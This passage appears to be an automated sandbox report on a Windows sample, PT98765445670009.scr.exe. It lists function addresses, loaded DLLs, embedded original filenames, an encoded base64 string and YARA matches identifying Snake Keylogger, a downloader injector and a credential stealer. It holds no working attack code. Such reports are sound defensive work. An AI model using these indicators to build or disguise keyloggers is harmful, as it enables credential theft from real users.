Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_052CB300	2_2_052CB300
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_052CEB68	2_2_052CEB68
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_052CEB78	2_2_052CEB78
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_052C7BA8	2_2_052C7BA8
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_052CBBA0	2_2_052CBBA0
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_052CBBB0	2_2_052CBBB0
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_052CDA09	2_2_052CDA09
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_052C7200	2_2_052C7200
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_052CDA18	2_2_052CDA18
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_052CE2B8	2_2_052CE2B8
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_052CB2EF	2_2_052CB2EF
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_052CE2C8	2_2_052CE2C8
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069DB6E8	2_2_069DB6E8
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069D8608	2_2_069D8608
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069DAA58	2_2_069DAA58
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069DD670	2_2_069DD670
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069DC388	2_2_069DC388
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069D8BED	2_2_069D8BED
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069DB0A0	2_2_069DB0A0
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069DA408	2_2_069DA408
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069DD028	2_2_069DD028
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069D11A0	2_2_069D11A0
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069DC9D8	2_2_069DC9D8
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069DBD38	2_2_069DBD38
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069D5EB8	2_2_069D5EB8
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069DB6D8	2_2_069DB6D8
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069D5EC8	2_2_069D5EC8
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069D5618	2_2_069D5618
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069D560B	2_2_069D560B
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069DAA48	2_2_069DAA48
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069D5A70	2_2_069D5A70
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069D5A60	2_2_069D5A60
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069DD662	2_2_069DD662
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069D33B8	2_2_069D33B8
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069D33A8	2_2_069D33A8
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069D6BD0	2_2_069D6BD0
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069D6BC1	2_2_069D6BC1
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069DA3FA	2_2_069DA3FA
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069D6313	2_2_069D6313
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069D3730	2_2_069D3730
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069D6320	2_2_069D6320
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069D6778	2_2_069D6778
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069DC378	2_2_069DC378
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069D676B	2_2_069D676B
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069D0498	2_2_069D0498
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069D7497	2_2_069D7497
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069DB090	2_2_069DB090
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069D0488	2_2_069D0488
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069D74A8	2_2_069D74A8
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069D08F0	2_2_069D08F0
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069D78F0	2_2_069D78F0
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069D08E0	2_2_069D08E0
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069D2818	2_2_069D2818
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069DD018	2_2_069DD018
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069D2807	2_2_069D2807
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069D0006	2_2_069D0006
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069D4430	2_2_069D4430
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069D7050	2_2_069D7050
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069D0040	2_2_069D0040
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069D7040	2_2_069D7040
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069D5198	2_2_069D5198
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069D1191	2_2_069D1191
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069D518B	2_2_069D518B
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069D81B0	2_2_069D81B0
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069D81A0	2_2_069D81A0
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069DC9C8	2_2_069DC9C8
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069D85FC	2_2_069D85FC
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069D7900	2_2_069D7900
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069D0D39	2_2_069D0D39
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069DBD28	2_2_069DBD28
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069D7D58	2_2_069D7D58
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069D0D48	2_2_069D0D48
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 2_2_069D7D48	2_2_069D7D48

Source: PT98765445670009.scr.exe, 00000001.00000002.1240078291.0000000004034000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelfwhUWZlmFnGhDYPudAJ.exeX vs PT98765445670009.scr.exe
Source: PT98765445670009.scr.exe, 00000001.00000002.1238457228.0000000000F6E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs PT98765445670009.scr.exe
Source: PT98765445670009.scr.exe, 00000001.00000002.1240078291.0000000003F41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameExample.dll0 vs PT98765445670009.scr.exe
Source: PT98765445670009.scr.exe, 00000001.00000000.1224946273.0000000000AB2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamePATVENT.exe( vs PT98765445670009.scr.exe
Source: PT98765445670009.scr.exe, 00000001.00000002.1240796896.00000000055C0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameAQipUvwTwkLZyiCs.dll: vs PT98765445670009.scr.exe
Source: PT98765445670009.scr.exe, 00000001.00000002.1239975180.0000000002F41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAQipUvwTwkLZyiCs.dll: vs PT98765445670009.scr.exe
Source: PT98765445670009.scr.exe, 00000001.00000002.1239975180.0000000002F41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelfwhUWZlmFnGhDYPudAJ.exeX vs PT98765445670009.scr.exe
Source: PT98765445670009.scr.exe, 00000001.00000002.1240469053.0000000005500000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameExample.dll0 vs PT98765445670009.scr.exe
Source: PT98765445670009.scr.exe, 00000002.00000002.3683545276.0000000000BB7000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs PT98765445670009.scr.exe
Source: PT98765445670009.scr.exe, 00000002.00000002.3682390166.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelfwhUWZlmFnGhDYPudAJ.exeX vs PT98765445670009.scr.exe
Source: PT98765445670009.scr.exe	Binary or memory string: OriginalFilenamePATVENT.exe( vs PT98765445670009.scr.exe

Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Section loaded: dpapi.dll	Jump to behavior

Source: PT98765445670009.scr.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 1.2.PT98765445670009.scr.exe.5500000.6.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLInjector02 author = ditekSHen, description = Detects downloader injector
Source: 1.2.PT98765445670009.scr.exe.3f93da0.4.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLInjector02 author = ditekSHen, description = Detects downloader injector
Source: 1.2.PT98765445670009.scr.exe.3fe25d0.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLInjector02 author = ditekSHen, description = Detects downloader injector
Source: 1.2.PT98765445670009.scr.exe.5500000.6.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLInjector02 author = ditekSHen, description = Detects downloader injector
Source: 1.2.PT98765445670009.scr.exe.4096c60.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 1.2.PT98765445670009.scr.exe.4096c60.3.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.PT98765445670009.scr.exe.4096c60.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 1.2.PT98765445670009.scr.exe.4096c60.3.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 1.2.PT98765445670009.scr.exe.4076230.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 1.2.PT98765445670009.scr.exe.4076230.5.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.PT98765445670009.scr.exe.4076230.5.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 1.2.PT98765445670009.scr.exe.4076230.5.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 2.2.PT98765445670009.scr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 2.2.PT98765445670009.scr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 2.2.PT98765445670009.scr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 2.2.PT98765445670009.scr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 1.2.PT98765445670009.scr.exe.3f93da0.4.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLInjector02 author = ditekSHen, description = Detects downloader injector
Source: 1.2.PT98765445670009.scr.exe.3fe25d0.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLInjector02 author = ditekSHen, description = Detects downloader injector
Source: 1.2.PT98765445670009.scr.exe.4096c60.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 1.2.PT98765445670009.scr.exe.4096c60.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.PT98765445670009.scr.exe.4096c60.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 1.2.PT98765445670009.scr.exe.4096c60.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 1.2.PT98765445670009.scr.exe.4076230.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 1.2.PT98765445670009.scr.exe.4076230.5.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.PT98765445670009.scr.exe.4076230.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 1.2.PT98765445670009.scr.exe.4076230.5.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 1.2.PT98765445670009.scr.exe.2f53b10.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLInjector02 author = ditekSHen, description = Detects downloader injector
Source: 1.2.PT98765445670009.scr.exe.2f512e8.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLInjector02 author = ditekSHen, description = Detects downloader injector
Source: 00000001.00000002.1240469053.0000000005500000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_DLInjector02 author = ditekSHen, description = Detects downloader injector
Source: 00000002.00000002.3682390166.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000002.00000002.3682390166.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000001.00000002.1240078291.0000000004034000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000001.00000002.1240078291.0000000004034000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: Process Memory Space: PT98765445670009.scr.exe PID: 6900, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: PT98765445670009.scr.exe PID: 6900, type: MEMORYSTR	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: Process Memory Space: PT98765445670009.scr.exe PID: 6880, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: PT98765445670009.scr.exe PID: 6880, type: MEMORYSTR	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger

Source: 1.2.PT98765445670009.scr.exe.3fe25d0.2.raw.unpack, DarkListView.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1.2.PT98765445670009.scr.exe.4096c60.3.raw.unpack, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1.2.PT98765445670009.scr.exe.4096c60.3.raw.unpack, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1.2.PT98765445670009.scr.exe.4096c60.3.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1.2.PT98765445670009.scr.exe.4096c60.3.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1.2.PT98765445670009.scr.exe.5500000.6.raw.unpack, DarkListView.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1.2.PT98765445670009.scr.exe.4076230.5.raw.unpack, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1.2.PT98765445670009.scr.exe.4076230.5.raw.unpack, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1.2.PT98765445670009.scr.exe.4076230.5.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1.2.PT98765445670009.scr.exe.4076230.5.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1.2.PT98765445670009.scr.exe.3f93da0.4.raw.unpack, DarkListView.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 1.2.PT98765445670009.scr.exe.3fe25d0.2.raw.unpack, DarkComboBox.cs	Base64 encoded string: 'Uwm+UuKGd614I69RzLI93aXq8M4plP4Fl8XGnAA54HkS/0jMOBsYAdDU3ufQvFFjYZJP0JeYZcnDYanLTNfb9IJuC/u1be1KdJkORevGYuzVlkHzJtU9FNAhjxyJAuY/'
Source: 1.2.PT98765445670009.scr.exe.5500000.6.raw.unpack, DarkComboBox.cs	Base64 encoded string: 'Uwm+UuKGd614I69RzLI93aXq8M4plP4Fl8XGnAA54HkS/0jMOBsYAdDU3ufQvFFjYZJP0JeYZcnDYanLTNfb9IJuC/u1be1KdJkORevGYuzVlkHzJtU9FNAhjxyJAuY/'
